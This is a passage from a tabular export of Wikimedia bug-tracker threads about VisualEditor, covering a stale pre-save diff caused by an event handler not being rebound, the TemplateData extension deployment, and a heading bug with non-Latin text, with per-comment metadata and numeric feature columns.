**Severity**: minor",High,80.0,1359415380,1368043283.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-fvybwsx2pzn3o2pbtxx6,task_description,resolved,True,c1,1,True,False,True,-22,,1.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,14.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,3.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.5656565656565657,0.46464646464646464,"Go to a new page. Enter some content. Press review-and-save. Observe diff. Press the ""leave this context"" button (""^""). Change the content. Press review-and-save again. Observe diff.

Expectation: The diff shows the changes against the new content.
Reality: The diff shows the changes against the original content (not re-done).

--------------------------
**Version**: unspecified
**Severity**: minor"
210654,VisualEditor: Pre-save diff for new pages doesn't alter when aborted and restarted,"Code now merged; thanks, Timo! Will go out in next branch.",,,1368043283,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-fvybwsx2pzn3o2pbtxx6,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,1.0,"Code now merged; thanks, Timo! Will go out in next branch."
210647,VisualEditor: Pre-save diff for new pages doesn't alter when aborted and restarted,Related URL: https://gerrit.wikimedia.org/r/62847 (Gerrit Change I9eddebbdf9294ee3d46286bdf1b157e00252d300),,,1368037459,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-fvybwsx2pzn3o2pbtxx6,task_subcomment,,True,c1,1,False,,,-8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I9eddebbdf9294ee3d46286bdf1b157e00252d300)
210640,VisualEditor: Pre-save diff for new pages doesn't alter when aborted and restarted,"The comments above are wrong. Actual timeline:

# Page load, enter text
     ve.Surface/Model/on/transact
     onSurfaceModelTransact Clear the diff html
     ve.Surface/Model/on/transact
(2x) ve.Surface/Model/on/transact
# Press ""Review and save""
# Close dialog
# Enter more text
(3x) ve.Surface/Model/on/transact
# Press ""Review and save""
# Close dialog",,,1366839502,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-fvybwsx2pzn3o2pbtxx6,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,6.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,20.0,0.0,2.0,2.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,4.0,20.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.3402061855670104,0.4329896907216495,"The comments above are wrong. Actual timeline:

# Page load, enter text
     ve.Surface/Model/on/transact
     onSurfaceModelTransact Clear the diff html
     ve.Surface/Model/on/transact
(2x) ve.Surface/Model/on/transact
# Press ""Review and save""
# Close dialog
# Enter more text
(3x) ve.Surface/Model/on/transact
# Press ""Review and save""
# Close dialog"
210635,VisualEditor: Pre-save diff for new pages doesn't alter when aborted and restarted,"Using the following debug calls:

diff --git a/modules/ve/init/mw/targets/ve.init.mw.ViewPageTarget.js b/modules/ve/init/mw/targets/ve.init.mw.ViewPageTarget.js
index 859d4f8..cee2505 100644
--- a/modules/ve/init/mw/targets/ve.init.mw.ViewPageTarget.js
+++ b/modules/ve/init/mw/targets/ve.init.mw.ViewPageTarget.js
@@ -390,6 +390,7 @@ ve.init.mw.ViewPageTarget.prototype.onSaveError = function ( jqXHR, status ) {
  * @param {string} diffHtml
  */
 ve.init.mw.ViewPageTarget.prototype.onShowChanges = function ( diffHtml ) {
+       mw.log( 'onShowChanges', 'Invalidate the diff (by calling proxiedOnSurfaceModelTransact) on transact event' );
        // Invalidate the diff on next change
        this.surface.getModel().on( 'transact', this.proxiedOnSurfaceModelTransact );
 
@@ -562,6 +563,7 @@ ve.init.mw.ViewPageTarget.prototype.onToolbarFeedbackToolClick = function () {
  * @param {ve.dm.Transaction} tx Processed transaction
  */
 ve.init.mw.ViewPageTarget.prototype.onSurfaceModelTransact = function () {
+       mw.log( 'onSurfaceModelTransact', 'Clear the diff html' );
        // Clear the diff
        this.$saveDialog
                .find( '.ve-init-mw-viewPageTarget-saveDialog-slide-review .ve-init-mw-viewPageTarget-saveDialog-viewer' )
@@ -691,6 +693,9 @@ ve.init.mw.ViewPageTarget.prototype.setUpSurface = function ( doc ) {
        this.surface = new ve.Surface( this, doc, this.surfaceOptions );
        this.surface.getContext().hide();
        this.$document = this.surface.$.find( '.ve-ce-documentNode' );
+       this.surface.getModel().on( 'transact', function () {
+               mw.log( 've.Surface/Model/on/transact' );
+       } );
        this.surface.getModel().on( 'transact', this.proxiedOnSurfaceModelTransact );
        this.surface.getModel().on( 'history', this.proxiedOnSurfaceModelHistory );
        // Transplant the toolbar


I've determined that the ""transact"" event does indeed continue to be emitted. But onSurfaceModelTransact only gets called once. It is not being rebound:


 # Page load, enter text
 ve.Surface/Model/on/transact load.php:11256
 # Press ""Review and save""
 onSurfaceModelTransact Clear the diff html load.php:11256
 # Close dialog
 # Enter more text
 ve.Surface/Model/on/transact load.php:11256
 ve.Surface/Model/on/transact load.php:11256
 # Press ""Review and save""
 # Close dialog
 # Enter more lots more text
 (14x) ve.Surface/Model/on/transact  load.php:11256",,,1366839306,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-fvybwsx2pzn3o2pbtxx6,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,0.2,0.2,1.8,0.0,0.0,0.0,0.0,0.0,4.6,0.0,0.2,0.0,0.2,0.0,0.8,2.4,0.0,0.2,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4,0.2,0.2,0.0,0.0,0.0,0.0,0.0,0.2,0.0,0.0,0.2,1.6,0.0,0.0,0.0,0.0,0.2,16.4,0.2,0.0,0.0,0.6,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.4,0.0,0.0,0.0,0.0,0.0,1.8,0.6,8.8,0.2,1.6,2.0,0.0,0.0,0.0,1.4,3.0,0.2,2.0,0.0,0.4,2.4,11.6,0.0,5.6,1.2,0.4,0.0,0.0,0.2,0.0,0.6,0.6,0.0,1.0,4.641763096991374,0.4702503681885125,"Using the following debug calls:

diff --git a/modules/ve/init/mw/targets/ve.init.mw.ViewPageTarget.js b/modules/ve/init/mw/targets/ve.init.mw.ViewPageTarget.js
index 859d4f8..cee2505 100644
--- a/modules/ve/init/mw/targets/ve.init.mw.ViewPageTarget.js
+++ b/modules/ve/init/mw/targets/ve.init.mw.ViewPageTarget.js
@@ -390,6 +390,7 @@ ve.init.mw.ViewPageTarget.prototype.onSaveError = function ( jqXHR, status ) {
  *SCREEN_NAME {string} diffHtml
  */
 ve.init.mw.ViewPageTarget.prototype.onShowChanges = function ( diffHtml ) {
+       mw.log( 'onShowChanges', 'Invalidate the diff (by calling proxiedOnSurfaceModelTransact) on transact event' );
        // Invalidate the diff on next change
        this.surface.getModel().on( 'transact', this.proxiedOnSurfaceModelTransact );
 
@@ -562,6 +563,7 @@ ve.init.mw.ViewPageTarget.prototype.onToolbarFeedbackToolClick = function () {
  *SCREEN_NAME {ve.dm.Transaction} tx Processed transaction
  */
 ve.init.mw.ViewPageTarget.prototype.onSurfaceModelTransact = function () {
+       mw.log( 'onSurfaceModelTransact', 'Clear the diff html' );
        // Clear the diff
        this.$saveDialog
                .find( '.ve-init-mw-viewPageTarget-saveDialog-slide-review .ve-init-mw-viewPageTarget-saveDialog-viewer' )
@@ -691,6 +693,9 @@ ve.init.mw.ViewPageTarget.prototype.setUpSurface = function ( doc ) {
        this.surface = new ve.Surface( this, doc, this.surfaceOptions );
        this.surface.getContext().hide();
        this.$document = this.surface.$.find( '.ve-ce-documentNode' );
+       this.surface.getModel().on( 'transact', function () {
+               mw.log( 've.Surface/Model/on/transact' );
+       } );
        this.surface.getModel().on( 'transact', this.proxiedOnSurfaceModelTransact );
        this.surface.getModel().on( 'history', this.proxiedOnSurfaceModelHistory );
        // Transplant the toolbar


I've determined that the ""transact"" event does indeed continue to be emitted. But onSurfaceModelTransact only gets called once. It is not being rebound:


 # Page load, enter text
 ve.Surface/Model/on/transact load.php:11256
 # Press ""Review and save""
 onSurfaceModelTransact Clear the diff html load.php:11256
 # Close dialog
 # Enter more text
 ve.Surface/Model/on/transact load.php:11256
 ve.Surface/Model/on/transact load.php:11256
 # Press ""Review and save""
 # Close dialog
 # Enter more lots more text
 (14x) ve.Surface/Model/on/transact  load.php:11256"
210630,VisualEditor: Pre-save diff for new pages doesn't alter when aborted and restarted,"(In reply to comment #3)
> (In reply to comment #2)
> > Which I assume means ve.dm.Surface for some reason didn't emit any - or
> > mw.ViewPageTarget is binding it wrong, but that looks fine to me.
> > 
> > @Roan, any ideas?
>
> I'm pretty sure ve.dm.Surface emits the events correctly. You can check this
> by
> placing a breakpoint on the line where Surface calls this.emit().
> 
> It's possible there's a bug in EventEmitter with detaching and reattaching
> though.

Hm.. could be. All I know is that the attached callback didn't get fired.",,,1363989548,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-fvybwsx2pzn3o2pbtxx6,task_subcomment,,True,c1,1,True,,,-15,,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,6.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,31.0,2.0,0.0,4.0,0.0,0.0,0.0,2.0,6.0,0.0,2.0,0.0,2.0,6.0,24.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.019607843137255,0.5490196078431373,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Hm.. could be. All I know is that the attached callback didn't get fired."
210625,VisualEditor: Pre-save diff for new pages doesn't alter when aborted and restarted,"(In reply to comment #2)
> Which I assume means ve.dm.Surface for some reason didn't emit any - or
> mw.ViewPageTarget is binding it wrong, but that looks fine to me.
> 
> @Roan, any ideas?
I'm pretty sure ve.dm.Surface emits the events correctly. You can check this by placing a breakpoint on the line where Surface calls this.emit().

It's possible there's a bug in EventEmitter with detaching and reattaching though.",,,1363287954,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-fvybwsx2pzn3o2pbtxx6,task_subcomment,,True,c1,1,False,,,-16,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,2.0,2.0,2.0,6.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,2.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,17.0,2.0,2.0,8.0,0.0,0.0,0.0,2.0,3.0,0.0,2.0,0.0,5.0,10.0,10.0,0.0,0.0,0.0,5.0,0.0,2.0,3.0,0.0,3.0,0.0,0.0,0.0,3.8253968253968256,0.746031746031746,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
I'm pretty sure ve.dm.Surface emits the events correctly. You can check this by placing a breakpoint on the line where Surface calls this.emit().

It's possible there's a bug in EventEmitter with detaching and reattaching though."
210621,VisualEditor: Pre-save diff for new pages doesn't alter when aborted and restarted,"Confirmed and hunt down.

From what I can see the problem may be in ve.dm.Surface not emitting any 'transact' events.

Adding a log() call in ve.init.mw.ViewPageTarget.prototype.onSurfaceModelTransact, shows me the following.

* When entering the first characters on a new page it is called.
  The callback then properly unbinds itself after the first call.
* Go to ""Review and save""
  Now it binds the event again, so that it is notified of the first
  change (if ever) when the dialog is closed.
  This happens in ve.init.mw.ViewPageTarget.prototype.onShowChanges
* Close the dialog
* Altering the document again

> the method is not called

Which I assume means ve.dm.Surface for some reason didn't emit any - or mw.ViewPageTarget is binding it wrong, but that looks fine to me.

@Roan, any ideas?",,,1361815269,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-fvybwsx2pzn3o2pbtxx6,task_subcomment,,True,c1,1,True,,,-18,,2.5,0.0,0.0,1.0,1.0,3.5,1.0,0.0,0.0,0.5,1.5,1.5,0.0,0.0,0.0,2.0,0.0,6.0,7.5,0.0,0.0,0.0,0.5,0.0,0.5,1.0,0.0,0.0,1.0,0.0,0.0,7.0,3.0,2.5,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.5,0.5,0.0,0.5,0.0,0.0,0.0,10.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,6.5,3.0,11.5,3.0,2.0,10.5,0.0,0.0,0.0,0.0,4.0,0.0,0.5,0.0,5.0,7.5,3.5,0.5,2.0,0.0,5.0,0.0,2.0,1.0,1.5,2.5,0.0,0.0,1.0,4.072289156626506,0.7409638554216867,"Confirmed and hunt down.

From what I can see the problem may be in ve.dm.Surface not emitting any 'transact' events.

Adding a log() call in ve.init.mw.ViewPageTarget.prototype.onSurfaceModelTransact, shows me the following.

* When entering the first characters on a new page it is called.
  The callback then properly unbinds itself after the first call.
* Go to ""Review and save""
  Now it binds the event again, so that it is notified of the first
  change (if ever) when the dialog is closed.
  This happens in ve.init.mw.ViewPageTarget.prototype.onShowChanges
* Close the dialog
* Altering the document again

QUOTE

Which I assume means ve.dm.Surface for some reason didn't emit any - or mw.ViewPageTarget is binding it wrong, but that looks fine to me.
SCREEN_NAME, any ideas?"
210615,VisualEditor: Pre-save diff for new pages doesn't alter when aborted and restarted,*** Bug 45021 has been marked as a duplicate of this bug. ***,,,1360878886,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-fvybwsx2pzn3o2pbtxx6,task_subcomment,,True,c1,1,True,,,-20,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 45021 has been marked as a duplicate of this bug. ***
46444,VisualEditor: Implement TemplateData extension and get it deployed for the Template Inspector,"For the forthcoming Template Inspector to work, we will need a way to ""hint"" for the Inspector how the parameters of the VE should be used - we're intending for now for this to be a template-hinting extension that allows editors to specify in the wikitext source what the parameters are called and how they should be used, akin to the Template documentation template on Commons.

--------------------------
**Version**: unspecified
**Severity**: enhancement",High,80.0,1359413640,1369075541.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-nwfeyfjfrxwame6u7ux5,task_description,resolved,True,c1,1,True,False,True,-22,,0.0,0.0,0.0,3.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,2.0,0.0,3.0,13.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,1.0,5.0,0.0,0.0,0.0,1.0,0.0,11.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,10.0,4.0,10.0,2.0,1.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,13.0,5.0,0.0,2.0,0.0,3.0,0.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,4.239130434782608,0.6195652173913043,"For the forthcoming Template Inspector to work, we will need a way to ""hint"" for the Inspector how the parameters of the VE should be used - we're intending for now for this to be a template-hinting extension that allows editors to specify in the wikitext source what the parameters are called and how they should be used, akin to the Template documentation template on Commons.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
210523,VisualEditor: Implement TemplateData extension and get it deployed for the Template Inspector,"This is now deployed to all wikis. Closing.

(In reply to comment #5)
> (In reply to comment #4)
> > We should get this deployed everywhere this coming week.
> 
> I'd like see to a working demo of this feature and expanded documentation at
> [[mw:Extension:TemplateData]] before this is deployed elsewhere.

I've made some quick updates, but you're right, it does need proper documentation.",,,1369075541,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-nwfeyfjfrxwame6u7ux5,task_subcomment,,True,c1,1,True,,,-6,,4.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,2.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,19.0,0.0,2.0,6.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,6.0,6.0,8.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.7291666666666666,"This is now deployed to all wikis. Closing.

(In reply to comment #5)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I've made some quick updates, but you're right, it does need proper documentation."
210516,VisualEditor: Implement TemplateData extension and get it deployed for the Template Inspector,"(In reply to comment #4)
> We should get this deployed everywhere this coming week.

I'd like see to a working demo of this feature and expanded documentation at [[mw:Extension:TemplateData]] before this is deployed elsewhere.",,,1369069065,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-nwfeyfjfrxwame6u7ux5,task_subcomment,,True,c1,1,False,,,-6,,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,12.0,0.0,2.0,7.0,0.0,0.0,0.0,2.0,5.0,2.0,2.0,0.0,2.0,15.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,7.0,3.658536585365854,0.8780487804878049,"(In reply to comment #4)
QUOTE

I'd like see to a working demo of this feature and expanded documentation at [[mw:Extension:TemplateData]] before this is deployed elsewhere."
210511,VisualEditor: Implement TemplateData extension and get it deployed for the Template Inspector,We should get this deployed everywhere this coming week.,,,1368767092,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-nwfeyfjfrxwame6u7ux5,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,4.8,0.9,We should get this deployed everywhere this coming week.
210507,VisualEditor: Implement TemplateData extension and get it deployed for the Template Inspector,Live on mw.org and testwiki now.,,,1367277258,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-nwfeyfjfrxwame6u7ux5,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,1.0,Live on mw.org and testwiki now.
210501,VisualEditor: Implement TemplateData extension and get it deployed for the Template Inspector,I will need to review and deploy this soonish.,,,1363988695,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-nwfeyfjfrxwame6u7ux5,task_subcomment,,True,c1,1,False,,,-15,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,1.0,I will need to review and deploy this soonish.
210494,VisualEditor: Implement TemplateData extension and get it deployed for the Template Inspector,"Initial code in gerrit 49840 which is now merged.

To come - review, deployment and usage.",,,1363288858,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-nwfeyfjfrxwame6u7ux5,task_subcomment,,True,c1,1,True,,,-16,,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,0.95,"Initial code in gerrit 49840 which is now merged.

To come - review, deployment and usage."
46442,VisualEditor: Oddness repetition/wrong diff (from Parsoid?) on save with some funky markup,"empty review pane, should show heading markup for non-Latin string

Using a string like ""āæǣ"" or special characters like ""☺☻♥♦""

Highlight the string in VE
Choose ""Heading 1""

VE displays the string larger, as expected

Click ""Review and save""""

Note that review pane is empty, see screen shot. 
Click ""Looks good to me"" and finish saving. 

The non-Latin string has not been affected and the Heading not been applied. 

Note that normal ASCII latin strings work fine. 
Also note that the regular editor applies the Heading markup to non-latin strings correctly.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://en.wikipedia.org/w/index.php?title=User:Cmcmahon(WMF)&oldid=535414434

**Attached**: {F10377}",High,80.0,1359412320,1366414342.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-piflhuji3l6moqmh3nbj,task_description,resolved,True,c1,1,False,False,True,-22,,0.0,0.0,0.0,1.0,1.0,10.5,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,3.0,5.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,1.0,13.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,4.0,1.5,14.0,1.5,2.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.5,0.0,0.5,5.5,6.0,0.0,5.5,0.0,0.5,0.0,0.0,0.5,0.5,1.0,0.5,0.0,0.0,3.5458419042021747,0.5935204231560388,"empty review pane, should show heading markup for non-Latin string

Using a string like ""āæǣ"" or special characters like ""☺☻♥♦""

Highlight the string in VE
Choose ""Heading 1""

VE displays the string larger, as expected

Click ""Review and save""""

Note that review pane is empty, see screen shot. 
Click ""Looks good to me"" and finish saving. 

The non-Latin string has not been affected and the Heading not been applied. 

Note that normal ASCII latin strings work fine. 
Also note that the regular editor applies the Heading markup to non-latin strings correctly.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL

**Attached**: {F10377}"
210390,VisualEditor: Oddness repetition/wrong diff (from Parsoid?) on save with some funky markup,"The underlying issue (with Parsoid) has been resolved with the new version of Parsoid finally running on the cluster; marking as FIXED.

